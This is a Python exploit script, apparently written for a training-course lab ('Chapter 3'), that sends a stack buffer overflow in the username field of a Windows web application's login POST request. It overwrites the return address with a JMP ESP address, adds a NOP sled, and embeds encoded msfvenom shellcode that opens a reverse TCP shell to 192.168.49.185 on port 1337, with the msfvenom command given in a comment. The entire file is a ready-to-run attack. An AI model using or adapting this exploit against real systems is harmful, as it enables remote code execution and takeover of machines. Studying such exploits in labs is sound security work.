#!/usr/bin/env python3

import socket
import sys
import subprocess

if len(sys.argv) < 3:
    print("Usage: {} <IP> <PORT>".format(sys.argv[0]))
    print("Exploits the web-based application from Chapter 3.")
    exit(1)

try:
    server = sys.argv[1].encode()
    port = int(sys.argv[2])
    eip_offset = 780

    filler = b"A" * eip_offset
    eip = 0x10090c83.to_bytes(4, 'little', signed=False)  # JMP ESP
    nopsled = b"\x90" * 64

    # msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.185 LPORT=1337 EXITFUNC=thread -f python -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -o shellcode.txt
    buf = b""
    buf += b"\xd9\xec\xd9\x74\x24\xf4\x5a\xb8\xdc\xe3\x42\xbb\x33"
    buf += b"\xc9\xb1\x52\x31\x42\x17\x83\xea\xfc\x03\x9e\xf0\xa0"
    buf += b"\x4e\xe2\x1f\xa6\xb1\x1a\xe0\xc7\x38\xff\xd1\xc7\x5f"
    buf += b"\x74\x41\xf8\x14\xd8\x6e\x73\x78\xc8\xe5\xf1\x55\xff"
    buf += b"\x4e\xbf\x83\xce\x4f\xec\xf0\x51\xcc\xef\x24\xb1\xed"
    buf += b"\x3f\x39\xb0\x2a\x5d\xb0\xe0\xe3\x29\x67\x14\x87\x64"
    buf += b"\xb4\x9f\xdb\x69\xbc\x7c\xab\x88\xed\xd3\xa7\xd2\x2d"
    buf += b"\xd2\x64\x6f\x64\xcc\x69\x4a\x3e\x67\x59\x20\xc1\xa1"
    buf += b"\x93\xc9\x6e\x8c\x1b\x38\x6e\xc9\x9c\xa3\x05\x23\xdf"
    buf += b"\x5e\x1e\xf0\x9d\x84\xab\xe2\x06\x4e\x0b\xce\xb7\x83"
    buf += b"\xca\x85\xb4\x68\x98\xc1\xd8\x6f\x4d\x7a\xe4\xe4\x70"
    buf += b"\xac\x6c\xbe\x56\x68\x34\x64\xf6\x29\x90\xcb\x07\x29"
    buf += b"\x7b\xb3\xad\x22\x96\xa0\xdf\x69\xff\x05\xd2\x91\xff"
    buf += b"\x01\x65\xe2\xcd\x8e\xdd\x6c\x7e\x46\xf8\x6b\x81\x7d"
    buf += b"\xbc\xe3\x7c\x7e\xbd\x2a\xbb\x2a\xed\x44\x6a\x53\x66"
    buf += b"\x94\x93\x86\x29\xc4\x3b\x79\x8a\xb4\xfb\x29\x62\xde"
    buf += b"\xf3\x16\x92\xe1\xd9\x3e\x39\x18\x8a\x80\x16\x13\xf3"
    buf += b"\x69\x65\x53\x06\x53\xe0\xb5\x62\xb3\xa4\x6e\x1b\x2a"
    buf += b"\xed\xe4\xba\xb3\x3b\x81\xfd\x38\xc8\x76\xb3\xc8\xa5"
    buf += b"\x64\x24\x39\xf0\xd6\xe3\x46\x2e\x7e\x6f\xd4\xb5\x7e"
    buf += b"\xe6\xc5\x61\x29\xaf\x38\x78\xbf\x5d\x62\xd2\xdd\x9f"
    buf += b"\xf2\x1d\x65\x44\xc7\xa0\x64\x09\x73\x87\x76\xd7\x7c"
    buf += b"\x83\x22\x87\x2a\x5d\x9c\x61\x85\x2f\x76\x38\x7a\xe6"
    buf += b"\x1e\xbd\xb0\x39\x58\xc2\x9c\xcf\x84\x73\x49\x96\xbb"
    buf += b"\xbc\x1d\x1e\xc4\xa0\xbd\xe1\x1f\x61\xdd\x03\xb5\x9c"
    buf += b"\x76\x9a\x5c\x1d\x1b\x1d\x8b\x62\x22\x9e\x39\x1b\xd1"
    buf += b"\xbe\x48\x1e\x9d\x78\xa1\x52\x8e\xec\xc5\xc1\xaf\x24"

    inputBuffer = filler + eip + (b"A" * 4) + nopsled + buf

    content = b"username=" + inputBuffer + b"&password=A"

    buffer = b"POST /login HTTP/1.1\r\n"
    buffer += b"Host: " + server + b"\r\n"
    buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
    buffer += b"Referer: http://" + server + b"/login\r\n"
    buffer += b"Connection: close\r\n"
    buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += b"Content-Length: " + str(len(content)).encode() + b"\r\n"
    buffer += b"\r\n"
    buffer += content

    print("Sending buffer...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(buffer)
    s.close()

    print("Done!")

except socket.error:
    print("Could not connect!")
